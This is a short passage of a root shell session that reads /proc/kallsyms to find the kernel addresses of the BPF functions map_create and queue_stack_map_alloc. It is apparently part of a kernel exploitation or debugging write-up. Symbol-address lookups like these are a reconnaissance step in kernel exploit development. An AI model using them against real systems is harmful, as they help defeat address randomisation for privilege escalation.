/ # cat /proc/kallsyms | grep map_create ffffffff8119d0d0 t map_create ffffffff817e7a20 T md_bitmap_create / # cat /proc/kallsyms | grep queue_stack_map_alloc ffffffff811aedd0 t queue_stack_map_alloc_check ffffffff811af0b0 t queue_stack_map_alloc
```